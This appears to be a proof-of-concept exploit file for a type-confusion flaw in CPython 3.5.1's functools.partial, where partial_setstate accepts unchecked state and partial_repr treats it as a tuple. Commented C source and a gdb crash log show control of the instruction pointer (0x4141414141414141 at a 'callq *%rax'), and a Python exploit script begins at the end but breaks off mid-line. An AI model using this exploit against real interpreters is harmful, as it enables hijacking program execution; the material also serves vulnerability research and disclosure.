# static PyObject * # partial_setstate(partialobject *pto, PyObject *state) # { # PyObject *fn, *fnargs, *kw, *dict; # if (!PyArg_ParseTuple(state, "OOOO", # &fn, &fnargs, &kw, &dict)) # return NULL; # Py_XDECREF(pto->fn); # Py_XDECREF(pto->args); # Py_XDECREF(pto->kw); # Py_XDECREF(pto->dict); # pto->fn = fn; # pto->args = fnargs; //we control pto->args here # `partial_setstate` performs no checks on the objects # it is passed as an argument. # static PyObject * # partial_repr(partialobject *pto) # { # PyObject *result; # PyObject *arglist; # PyObject *tmp; # Py_ssize_t i, n; # arglist = PyUnicode_FromString(""); # if (arglist == NULL) { # return NULL; # } # /* Pack positional arguments */ # assert (PyTuple_Check(pto->args)); //not compiled in release build # n = PyTuple_GET_SIZE(pto->args); # for (i = 0; i < n; i++) { # tmp = PyUnicode_FromFormat("%U, %R", arglist, # PyTuple_GET_ITEM(pto->args, i)); # In partial_repr, `pto->args` is assumed to be a tuple and # unsafe functions `PyTuple_GET_SIZE` and `PyTuple_GET_ITEM` # are called on `pto->args`. This bug is particularly bad # because `PyUnicode_FromFormat` will call the object's repr # function. In this case, the attacker gains complete control # over the program counter. # vagrant@vagrant-ubuntu-wily-64:/vagrant/Python-3.5.1$ gdb -q ./python.exe # ... # (gdb) r partialpoc.py # Starting program: /vagrant/Python-3.5.1/python.exe partialpoc.py # ... # Program received signal SIGSEGV, Segmentation fault. # 0x00000000004851f6 in PyObject_Repr (v=0x972c90) at Objects/object.c:482 # 482 res = (*v->ob_type->tp_repr)(v); # (gdb) i r # rax 0x4141414141414141 4702111234474983745 # rbx 0x972c90 9907344 # rcx 0x52 82 # rdx 0x7ffff7026718 140737337517848 # rsi 0x0 0 # rdi 0x972c90 9907344 # rbp 0x6666666666666667 0x6666666666666667 # rsp 0x7fffffffdb60 0x7fffffffdb60 # r8 0x0 0 # r9 0x6049a8 6310312 # r10 0xffffffffffffffff -1 # r11 0xffffffffffffffff -1 # r12 0x7fffffffffffffff 9223372036854775807 # r13 0x7fffffffdbe0 140737488346080 # r14 0x6049a7 6310311 # r15 0x0 0 # rip 0x4851f6 0x4851f6 # eflags 0x10206 [ PF IF RF ] # cs 0x33 51 # ss 0x2b 43 # ds 0x0 0 # es 0x0 0 # fs 0x0 0 # gs 0x0 0 # (gdb) x/3i $pc # => 0x4851f6 : callq *%rax # 0x4851f8 : test %rax,%rax # 0x4851fb : mov %rax,%rbx from _functools import partial from struct import pack target = 0x4141414141414141 exp = b"B"*56 + pack("